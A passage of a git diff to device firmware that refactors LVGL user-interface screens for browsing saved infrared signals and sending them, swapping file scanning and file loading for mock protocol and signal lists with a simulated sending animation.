-#define ITEM_H 47 -#define ITEM_W 210 -#define ITEM_RADIUS 10 -#define ITEM_PAD_H 8 -#define ITEM_PAD_COL 6 -#define ITEM_BORDER_WIDTH 1 -#define ITEM_SELECTED_WIDTH 3 -#define ITEMS_Y_OFFSET 4 -#define ITEMS_CONT_X_OFFSET 4 -#define ITEMS_CONT_PAD 2 -#define ITEMS_CONT_PAD_ROW 6 -#define SCROLL_TRACK_OFFSET_X 10 -#define SCROLL_TRACK_MARGIN 10 -#define SCROLL_TRACK_WIDTH 3 -#define SCROLL_TRACK_DASH_W 4 -#define SCROLL_TRACK_DASH_GAP 4 -#define SCROLL_BAR_OFFSET_X (-4) -#define SCROLL_BAR_THUMB_H 20 -#define SCROLL_ANIM_DURATION_MS 150 -#define VIEWER_SCROLL_STEP 30 -#define NAV_TIMER_INTERVAL_MS 50 -#define MAX_ENTRIES 24 -#define ENTRY_NAME_MAX_LEN 64 -#define PROTO_NAME_MAX_LEN 32 -#define DIR_PATH_MAX_LEN 300 -#define FILE_PATH_MAX_LEN 300 -#define IR_FILE_EXT ".ir" -#define IR_FILE_EXT_LEN 3 +#define NAV_TIMER_MS 50 +#define SIG_GREEN 0x00E676 + +static const char *MOCK_PROTOCOLS[] = {"NEC", "SAMSUNG", "RC5", "SONY"}; +#define MOCK_PROTOCOLS_COUNT ((int)(sizeof(MOCK_PROTOCOLS) / sizeof(MOCK_PROTOCOLS[0]))) + +static const char *MOCK_FILES[] = {"power", "vol_up", "vol_down", "mute", "source"}; +#define MOCK_FILES_COUNT ((int)(sizeof(MOCK_FILES) / sizeof(MOCK_FILES[0]))) typedef enum { - IR_BROWSE_LEVEL_PROTOCOLS = 0, - IR_BROWSE_LEVEL_FILES, -} ir_browse_level_t; + LEVEL_PROTOCOLS = 0, + LEVEL_FILES, +} browse_level_t; static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; static lv_timer_t *s_nav_timer = NULL; -static lv_obj_t *s_items_cont = NULL; -static lv_obj_t *s_item_objs[MAX_ENTRIES]; -static lv_obj_t *s_scroll_bar = NULL; -static lv_obj_t *s_title_lbl = NULL; - -static char s_entries[MAX_ENTRIES][ENTRY_NAME_MAX_LEN]; -static int s_entry_count = 0; -static int s_selected = 0; -static int s_track_y_start; -static int s_track_h; - -static ir_browse_level_t s_level = IR_BROWSE_LEVEL_PROTOCOLS; -static char s_current_proto[PROTO_NAME_MAX_LEN]; - -static bool s_is_viewing = false; -static text_viewer_t s_viewer; +static browse_level_t s_level = LEVEL_PROTOCOLS; +static int s_proto = 0; static bool s_btn_up_last = false; static bool s_btn_down_last = false; +static bool s_btn_left_last = false; static bool s_btn_ok_last = false; static bool s_btn_back_last = false; -static void update_scroll_bar(void); -static void update_selection(void); -static void scan_protocols(void); -static void scan_files(const char *proto); -static lv_obj_t *create_item(lv_obj_t *parent, const char *text, const char *icon_sym); -static void build_list(void); -static void view_selected(void); -static void close_viewer(void); -static void nav_timer_cb(lv_timer_t *timer); +static void build_screen(void); +static void nav_timer_cb(lv_timer_t *t); -void ui_ir_saved_open(void) { +static void build_screen(void) { if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; } - s_selected = 0; - s_level = IR_BROWSE_LEVEL_PROTOCOLS; - s_is_viewing = false; - memset(&s_viewer, 0, sizeof(s_viewer)); - s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); - lv_obj_set_style_pad_all(s_screen, 0, 0); - - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - - s_title_lbl = lv_label_create(title_bar); - lv_label_set_text(s_title_lbl, "BROWSE SIGNALS"); - lv_obj_set_style_text_color(s_title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(s_title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(s_title_lbl); - - int items_y = TOP_BORDER_H + ITEMS_Y_OFFSET; - int items_h = LCD_V_RES - items_y - OUTER_BORDER - ITEMS_Y_OFFSET; - - s_items_cont = lv_obj_create(s_screen); - lv_obj_set_size(s_items_cont, ITEM_W + 8, items_h); - lv_obj_align(s_items_cont, LV_ALIGN_TOP_LEFT, ITEMS_CONT_X_OFFSET, items_y); - lv_obj_set_style_bg_opa(s_items_cont, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(s_items_cont, 0, 0); - lv_obj_set_style_pad_all(s_items_cont, ITEMS_CONT_PAD, 0); - lv_obj_set_style_pad_row(s_items_cont, ITEMS_CONT_PAD_ROW, 0); - lv_obj_set_flex_flow(s_items_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_items_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_scroll_snap_y(s_items_cont, LV_SCROLL_SNAP_START); - - int track_x = LCD_H_RES - OUTER_BORDER - SCROLL_TRACK_OFFSET_X; - s_track_y_start = items_y + SCROLL_TRACK_MARGIN; - s_track_h = items_h - SCROLL_TRACK_MARGIN * 2; - - static lv_point_precise_t s_track_pts[2]; - s_track_pts[0].x = 0; - s_track_pts[0].y = 0; - s_track_pts[1].x = 0; - s_track_pts[1].y = s_track_h; - - lv_obj_t *track = lv_line_create(s_screen); - lv_line_set_points(track, s_track_pts, 2); - lv_obj_set_pos(track, track_x, s_track_y_start); - lv_obj_set_style_line_color(track, current_theme.border_inactive, 0); - lv_obj_set_style_line_opa(track, LV_OPA_COVER, 0); - lv_obj_set_style_line_width(track, SCROLL_TRACK_WIDTH, 0); - lv_obj_set_style_line_dash_width(track, SCROLL_TRACK_DASH_W, 0); - lv_obj_set_style_line_dash_gap(track, SCROLL_TRACK_DASH_GAP, 0); - - static lv_image_dsc_t *s_sb_dsc = NULL; - if (s_sb_dsc == NULL) - s_sb_dsc = assets_get("/assets/icons/slide_bar_v.bin"); - - s_scroll_bar = lv_image_create(s_screen); - if (s_sb_dsc != NULL) - lv_image_set_src(s_scroll_bar, s_sb_dsc); - - lv_obj_set_pos(s_scroll_bar, track_x + SCROLL_BAR_OFFSET_X, s_track_y_start); - lv_obj_move_foreground(s_scroll_bar); - - build_list(); - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - - lv_screen_load(s_screen); -} - -static void update_scroll_bar(void) { - if (s_scroll_bar == NULL || s_entry_count <= 1) - return; - - int32_t pos = - s_track_y_start + (s_selected * (s_track_h - SCROLL_BAR_THUMB_H)) / (s_entry_count - 1); - - lv_anim_t a; - lv_anim_init(&a); - lv_anim_set_var(&a, s_scroll_bar); - lv_anim_set_values(&a, lv_obj_get_y(s_scroll_bar), pos); - lv_anim_set_duration(&a, SCROLL_ANIM_DURATION_MS); - lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); - lv_anim_start(&a); -} - -static void update_selection(void) { - for (int i = 0; i < s_entry_count; i++) { - if (i == s_selected) { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_SELECTED_WIDTH, 0); - lv_obj_set_style_border_color(s_item_objs[i], current_theme.border_accent, 0); - } else { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(s_item_objs[i], current_theme.border_interface, 0); - } - } - - if (s_entry_count > 0 && s_item_objs[s_selected] != NULL) - lv_obj_scroll_to_view(s_item_objs[s_selected], LV_ANIM_ON); - - update_scroll_bar(); -} - -static void scan_protocols(void) { - s_entry_count = 0; - - DIR *d = opendir(TOS_PATH_IR); - if (d == NULL) - return; - - struct dirent *ent; - while ((ent = readdir(d)) != NULL && s_entry_count < MAX_ENTRIES) { - if (ent->d_name[0] == '.' || ent->d_type != DT_DIR) - continue; - - strncpy(s_entries[s_entry_count], ent->d_name, ENTRY_NAME_MAX_LEN - 1); - s_entries[s_entry_count][ENTRY_NAME_MAX_LEN - 1] = '\0'; - s_entry_count++; - } - - closedir(d); -} -static void scan_files(const char *proto) { - s_entry_count = 0; - - char dir_path[DIR_PATH_MAX_LEN]; - snprintf(dir_path, sizeof(dir_path), TOS_PATH_IR "/%.64s", proto); - - DIR *d = opendir(dir_path); - if (d == NULL) - return; - - struct dirent *ent; - while ((ent = readdir(d)) != NULL && s_entry_count < MAX_ENTRIES) { - size_t len = strlen(ent->d_name); - if (len < IR_FILE_EXT_LEN + 1 || strcmp(ent->d_name + len - IR_FILE_EXT_LEN, IR_FILE_EXT) != 0) - continue; - - strncpy(s_entries[s_entry_count], ent->d_name, ENTRY_NAME_MAX_LEN - 1); - s_entries[s_entry_count][ENTRY_NAME_MAX_LEN - 1] = '\0'; - s_entry_count++; - } - - closedir(d); -} - -static lv_obj_t *create_item(lv_obj_t *parent, const char *text, const char *icon_sym) { - lv_obj_t *item = lv_obj_create(parent); - lv_obj_set_size(item, ITEM_W, ITEM_H); - lv_obj_remove_flag(item, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(item, ITEM_RADIUS, 0); - lv_obj_set_style_bg_opa(item, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(item, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(item, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(item, ITEM_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(item, current_theme.border_interface, 0); - lv_obj_set_style_pad_left(item, ITEM_PAD_H, 0); - lv_obj_set_style_pad_right(item, ITEM_PAD_H, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(item, ITEM_PAD_COL, 0); - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, text); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); - lv_obj_set_flex_grow(lbl, 1); - lv_label_set_long_mode(lbl, LV_LABEL_LONG_SCROLL_CIRCULAR); - - lv_obj_t *arrow = lv_label_create(item); - lv_label_set_text(arrow, icon_sym); - lv_obj_set_style_text_color(arrow, current_theme.border_accent, 0); - lv_obj_set_style_text_font(arrow, &lv_font_montserrat_12, 0); - - return item; -} - -static void build_list(void) { - if (s_items_cont != NULL) - lv_obj_clean(s_items_cont); - - if (s_level == IR_BROWSE_LEVEL_PROTOCOLS) { - scan_protocols(); - if (s_title_lbl != NULL) - lv_label_set_text(s_title_lbl, "BROWSE SIGNALS"); + if (s_level == LEVEL_PROTOCOLS) { + s_menu = + menu_component_create(s_screen, "BROWSE SIGNALS", "/assets/icons/search_menu_icon.bin"); + for (int i = 0; i < MOCK_PROTOCOLS_COUNT; i++) + menu_component_add_item(&s_menu, NULL, MOCK_PROTOCOLS[i]); } else { - scan_files(s_current_proto); - if (s_title_lbl != NULL) - lv_label_set_text(s_title_lbl, s_current_proto); + s_menu = menu_component_create(s_screen, MOCK_PROTOCOLS[s_proto], NULL); + for (int i = 0; i < MOCK_FILES_COUNT; i++) + menu_component_add_item(&s_menu, NULL, MOCK_FILES[i]); } - const char *icon = - (s_level == IR_BROWSE_LEVEL_PROTOCOLS) ? LV_SYMBOL_DIRECTORY : LV_SYMBOL_EYE_OPEN; - - for (int i = 0; i < s_entry_count; i++) - s_item_objs[i] = create_item(s_items_cont, s_entries[i], icon); - - if (s_entry_count == 0) { - lv_obj_t *empty = lv_label_create(s_items_cont); - lv_label_set_text(empty, - s_level == IR_BROWSE_LEVEL_PROTOCOLS ? "No protocols found" : "No signals"); - lv_obj_set_style_text_color(empty, current_theme.border_inactive, 0); - lv_obj_set_style_text_font(empty, &lv_font_montserrat_12, 0); - } - - s_selected = 0; - update_selection(); -} - -static void view_selected(void) { - if (s_entry_count == 0) - return; - - char path[FILE_PATH_MAX_LEN]; - snprintf(path, sizeof(path), TOS_PATH_IR "/%.64s/%.64s", s_current_proto, s_entries[s_selected]); - - s_viewer = text_viewer_create(s_screen, s_entries[s_selected]); - text_viewer_load_file(&s_viewer, path); - lv_obj_move_foreground(s_viewer.screen); - s_is_viewing = true; -} + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); -static void close_viewer(void) { - if (s_viewer.screen != NULL) { - lv_obj_del(s_viewer.screen); - s_viewer.screen = NULL; - } - s_is_viewing = false; + ui_screen_load(s_screen); } -static void nav_timer_cb(lv_timer_t *timer) { +static void nav_timer_cb(lv_timer_t *t) { if (lv_screen_active() != s_screen) { - lv_timer_delete(timer); + lv_timer_delete(t); s_nav_timer = NULL; return; } - if (ui_input_is_locked()) return; - bool is_up = up_button_is_down(); - bool is_down = down_button_is_down(); - bool is_ok = ok_button_is_down(); - bool is_back = back_button_is_down(); - - if (s_is_viewing) { - if (is_up && !s_btn_up_last && s_viewer.text_area != NULL) { - if (lv_obj_get_scroll_y(s_viewer.text_area) > 0) - lv_obj_scroll_by(s_viewer.text_area, 0, VIEWER_SCROLL_STEP, LV_ANIM_ON); - } - - if (is_down && !s_btn_down_last && s_viewer.text_area != NULL) - lv_obj_scroll_by(s_viewer.text_area, 0, -VIEWER_SCROLL_STEP, LV_ANIM_ON); - - if (is_back && !s_btn_back_last) - close_viewer(); - - } else { - if (is_down && !s_btn_down_last && s_entry_count > 0) { - s_selected = (s_selected + 1) % s_entry_count; - update_selection(); - } - - if (is_up && !s_btn_up_last && s_entry_count > 0) { - s_selected = (s_selected == 0) ? s_entry_count - 1 : s_selected - 1; - update_selection(); - } - - if (is_ok && !s_btn_ok_last && s_entry_count > 0) { - if (s_level == IR_BROWSE_LEVEL_PROTOCOLS) { - strncpy(s_current_proto, s_entries[s_selected], sizeof(s_current_proto) - 1); - s_current_proto[sizeof(s_current_proto) - 1] = '\0'; - s_level = IR_BROWSE_LEVEL_FILES; - build_list(); - } else { - view_selected(); - } + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if (ok && !s_btn_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (s_level == LEVEL_PROTOCOLS) { + s_proto = sel; + s_level = LEVEL_FILES; + build_screen(); + return; } + ESP_LOGI(TAG, "mock open: %s/%s", MOCK_PROTOCOLS[s_proto], MOCK_FILES[sel]); + menu_component_set_item_label_color(&s_menu, sel, lv_color_hex(SIG_GREEN)); + } - if (is_back && !s_btn_back_last) { - if (s_level == IR_BROWSE_LEVEL_FILES) { - s_level = IR_BROWSE_LEVEL_PROTOCOLS; - build_list(); - } else { - ui_switch_screen(SCREEN_IR_MENU); - } + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) { + if (s_level == LEVEL_FILES) { + s_level = LEVEL_PROTOCOLS; + build_screen(); + return; } + ui_switch_screen(SCREEN_IR_MENU); } - s_btn_up_last = is_up; - s_btn_down_last = is_down; - s_btn_ok_last = is_ok; - s_btn_back_last = is_back; -} \ No newline at end of file + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_ir_saved_open(void) { + s_level = LEVEL_PROTOCOLS; + s_proto = 0; + build_screen(); +} diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_send_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_send_ui.c index 7199ba7b8..f61da1736 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_send_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_send_ui.c @@ -15,285 +15,263 @@ #include "ir_send_ui.h" -#include #include -#include -#include #include "esp_log.h" -#include "ui_theme.h" -#include "ui_manager.h" -#include "menu_component_ui.h" -#include "msgbox_ui.h" #include "buttons_gpio.h" -#include "assets_manager.h" -#include "ir.h" -#include "ir_file.h" -#include "tos_storage_paths.h" -#include "st7789.h" +#include "menu_component_ui.h" +#include "sigwave_ui.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" static const char *TAG = "IR_SEND_UI"; -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define ITEM_H 47 -#define ITEM_W 210 -#define MAX_FILES 24 - -#define FILE_NAME_MAX_LEN 96 -#define FILE_PATH_MAX_LEN 300 -#define DIR_NAME_FMT_MAX_LEN 64 -#define SUBPATH_BUF_SIZE 512 -#define SEND_PATH_BUF_SIZE 512 -#define IR_FILE_MAX_BYTES 4096 - -#define TITLE_BAR_W 170 -#define TITLE_BAR_H 30 -#define TITLE_BAR_RADIUS 12 -#define TITLE_BAR_BORDER_W 2 - -#define TOP_AREA_BORDER_W 3 -#define OUTER_BORDER_W 3 -#define ACCENT_BORDER_W 3 - -#define ITEM_RADIUS 10 -#define ITEM_BORDER_SELECTED 3 -#define ITEM_BORDER_NORMAL 1 -#define ITEM_PAD_H 8 -#define ITEM_PAD_COL 6 -#define ITEM_FLEX_GROW 1 - -#define ITEMS_CONT_PAD 2 -#define ITEMS_CONT_PAD_ROW 6 -#define ITEMS_CONT_OFFSET_X 4 -#define ITEMS_CONT_OFFSET_Y 4 - -#define SCROLL_BAR_TRACK_W 3 -#define SCROLL_BAR_TRACK_OFF 10 -#define SCROLL_BAR_IMG_OFF 4 -#define SCROLL_BAR_THUMB_H 20 -#define SCROLL_BAR_ANIM_MS 150 -#define SCROLL_TRACK_X_FROM_RIGHT 10 - -#define NAV_TIMER_PERIOD_MS 50 - -#define SUBPATH_DIR_FMT TOS_PATH_IR "/%.64s" -#define FILE_NAME_FMT "[%.30s] %.60s" -#define FILE_PATH_FMT "%.128s/%.128s" -#define SEND_PATH_FMT TOS_PATH_IR "/%.300s" +#define SIG_GREEN 0x00E676 + +#define HEADER_TITLE_Y 10 +#define HEADER_RULE_Y 32 +#define HEADER_RULE_W 70 +#define HEADER_RULE_H 2 +#define HEADER_RULE_RADIUS 1 + +#define STATUS_Y 50 +#define DETAIL_Y 68 +#define HINT_Y_OFS -6 + +#define NAV_TIMER_MS 50 +#define SENDING_MS 1600 +#define DOT_CYCLE_MS 350 + +#define IR_ICON "/assets/icons/ir_icon.bin" + +#define STATUS_SENDING "Sending" +#define STATUS_SENT "Signal sent!" + +#define HINT_SENDING "Transmitting..." +#define HINT_SENT "RIGHT = Resend BACK = Exit" + +static const char *MOCK_SIGNALS[] = { + "[NEC] TV Power", + "[NEC] TV Vol +", + "[NEC] TV Vol -", + "[SAMSUNG] Soundbar", + "[RC5] Set-top Box", + "[AC] Cool 22C", +}; +#define MOCK_SIGNALS_COUNT ((int)(sizeof(MOCK_SIGNALS) / sizeof(MOCK_SIGNALS[0]))) + +typedef enum { + VIEW_LIST = 0, + VIEW_SENDING, + VIEW_SENT, +} send_view_t; static lv_obj_t *s_screen = NULL; -static lv_timer_t *s_nav_timer = NULL; -static lv_obj_t *s_items_cont = NULL; -static lv_obj_t *s_item_objs[MAX_FILES]; -static lv_obj_t *s_scroll_bar = NULL; +static menu_component_t s_menu; +static send_view_t s_view = VIEW_LIST; +static int s_sel = 0; -static char s_file_names[MAX_FILES][FILE_NAME_MAX_LEN]; -static char s_file_paths[MAX_FILES][FILE_PATH_MAX_LEN]; -static size_t s_file_count = 0; -static size_t s_selected = 0; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_send_timer = NULL; -static int32_t s_track_y_start; -static int32_t s_track_h; +static lv_obj_t *s_status_label = NULL; +static lv_obj_t *s_hint_label = NULL; +static uint32_t s_send_start = 0; static bool s_btn_up_last = false; static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; static bool s_btn_ok_last = false; static bool s_btn_back_last = false; -static void update_scroll_bar(void); -static void update_selection(void); -static void scan_ir_files(void); -static void send_selected(void); -static void build_list(void); static void nav_timer_cb(lv_timer_t *t); +static void build_list(void); +static void build_sending(void); +static void send_done_cb(lv_timer_t *t); -static void update_scroll_bar(void) { - if (s_scroll_bar == NULL || s_file_count <= 1) - return; - - int32_t pos = s_track_y_start + ((int32_t)s_selected * (s_track_h - SCROLL_BAR_THUMB_H)) / - (int32_t)(s_file_count - 1); - - lv_anim_t a; - lv_anim_init(&a); - lv_anim_set_var(&a, s_scroll_bar); - lv_anim_set_values(&a, lv_obj_get_y(s_scroll_bar), pos); - lv_anim_set_duration(&a, SCROLL_BAR_ANIM_MS); - lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); - lv_anim_start(&a); +static void stop_send_timer(void) { + if (s_send_timer != NULL) { + lv_timer_delete(s_send_timer); + s_send_timer = NULL; + } } -static void update_selection(void) { - for (size_t i = 0; i < s_file_count; i++) { - if (i == s_selected) { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_BORDER_SELECTED, 0); - lv_obj_set_style_border_color(s_item_objs[i], current_theme.border_accent, 0); - } else { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_BORDER_NORMAL, 0); - lv_obj_set_style_border_color(s_item_objs[i], current_theme.border_interface, 0); - } - } +static void reset_latch(void) { + s_btn_up_last = false; + s_btn_down_last = false; + s_btn_left_last = false; + s_btn_right_last = false; + s_btn_ok_last = false; + s_btn_back_last = false; +} - if (s_file_count > 0 && s_item_objs[s_selected] != NULL) { - lv_obj_scroll_to_view(s_item_objs[s_selected], LV_ANIM_ON); - } +static lv_obj_t *new_screen(void) { + lv_obj_t *screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(screen, 0, 0); + lv_obj_set_style_pad_all(screen, 0, 0); + return screen; +} - update_scroll_bar(); +static void build_header(const char *text) { + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, text); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, HEADER_TITLE_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(HEADER_RULE_W), HEADER_RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, HEADER_RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, HEADER_RULE_RADIUS, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); } -static void scan_ir_files(void) { - s_file_count = 0; +static lv_obj_t *make_hint(const char *text) { + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, text); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_Y_OFS); + return hint; +} - DIR *root = opendir(TOS_PATH_IR); - if (root == NULL) +static void set_status(const char *text, bool success) { + if (s_status_label == NULL) return; + lv_label_set_text(s_status_label, text); + lv_obj_set_style_text_color( + s_status_label, success ? lv_color_hex(SIG_GREEN) : current_theme.text_main, 0); +} - struct dirent *proto_ent; - while ((proto_ent = readdir(root)) != NULL && s_file_count < MAX_FILES) { - if (proto_ent->d_name[0] == '.' || proto_ent->d_type != DT_DIR) - continue; - - char sub_path[SUBPATH_BUF_SIZE]; - snprintf(sub_path, sizeof(sub_path), SUBPATH_DIR_FMT, proto_ent->d_name); - - DIR *sub = opendir(sub_path); - if (sub == NULL) - continue; - - struct dirent *file_ent; - while ((file_ent = readdir(sub)) != NULL && s_file_count < MAX_FILES) { - size_t len = strlen(file_ent->d_name); - if (len < 4 || strcmp(file_ent->d_name + len - 3, ".ir") != 0) - continue; - - snprintf(s_file_names[s_file_count], - sizeof(s_file_names[0]), - FILE_NAME_FMT, - proto_ent->d_name, - file_ent->d_name); - - snprintf(s_file_paths[s_file_count], - sizeof(s_file_paths[0]), - FILE_PATH_FMT, - proto_ent->d_name, - file_ent->d_name); - - s_file_count++; - } - closedir(sub); +static void build_list(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; } - closedir(root); -} + s_status_label = NULL; + s_hint_label = NULL; -static void send_selected(void) { - if (s_file_count == 0) - return; + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - char path[SEND_PATH_BUF_SIZE]; - snprintf(path, sizeof(path), SEND_PATH_FMT, s_file_paths[s_selected]); + s_menu = menu_component_create(s_screen, "IR SEND", "/assets/icons/ir_send_menu_icon.bin"); + for (int i = 0; i < MOCK_SIGNALS_COUNT; i++) + menu_component_add_item(&s_menu, IR_ICON, MOCK_SIGNALS[i]); + if (s_sel > 0 && s_sel < MOCK_SIGNALS_COUNT) + menu_component_select(&s_menu, s_sel); - FILE *f = fopen(path, "r"); - if (f == NULL) { - ESP_LOGE(TAG, "Failed to open IR file: %s", path); - msgbox_open(LV_SYMBOL_WARNING, "Failed to open file", "OK", NULL, NULL); - return; + ui_screen_load(s_screen); +} + +static void build_sending(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; } - fseek(f, 0, SEEK_END); - int32_t sz = (int32_t)ftell(f); - fseek(f, 0, SEEK_SET); + s_screen = new_screen(); + ui_chrome_header(s_screen, "Send", "/assets/icons/ir_send_menu_icon.bin"); - if (sz <= 0 || sz > IR_FILE_MAX_BYTES) { - ESP_LOGE(TAG, "Invalid IR file size: %ld", (long)sz); - fclose(f); - msgbox_open(LV_SYMBOL_WARNING, "Invalid file", "OK", NULL, NULL); - return; - } + s_status_label = lv_label_create(s_screen); + lv_label_set_text(s_status_label, STATUS_SENDING); + lv_obj_set_style_text_color(s_status_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_status_label, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_status_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, STATUS_Y); - char *buf = malloc((size_t)sz + 1); - if (buf == NULL) { - ESP_LOGE(TAG, "Failed to allocate IR file buffer"); - fclose(f); - return; - } + lv_obj_t *which = lv_label_create(s_screen); + lv_label_set_text(which, MOCK_SIGNALS[s_sel]); + lv_obj_set_style_text_color(which, current_theme.border_accent, 0); + lv_obj_set_style_text_font(which, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(which, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(which, LV_ALIGN_TOP_MID, 0, DETAIL_Y); - size_t read = fread(buf, 1, (size_t)sz, f); - fclose(f); + waves_create(s_screen, LV_ALIGN_CENTER, 0, 6, NULL, IR_ICON); + sigwave_create(s_screen, LV_ALIGN_BOTTOM_MID, 0, -28); - if ((int32_t)read != sz) { - ESP_LOGE(TAG, "Short read on IR file: expected %ld, got %zu", (long)sz, read); - free(buf); - msgbox_open(LV_SYMBOL_WARNING, "Failed to read file", "OK", NULL, NULL); - return; + s_hint_label = ui_chrome_footer(s_screen, HINT_SENDING); + + ui_screen_load(s_screen); +} + +static void show_sent(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; } - buf[sz] = '\0'; + s_screen = new_screen(); + ui_chrome_header(s_screen, "Send", 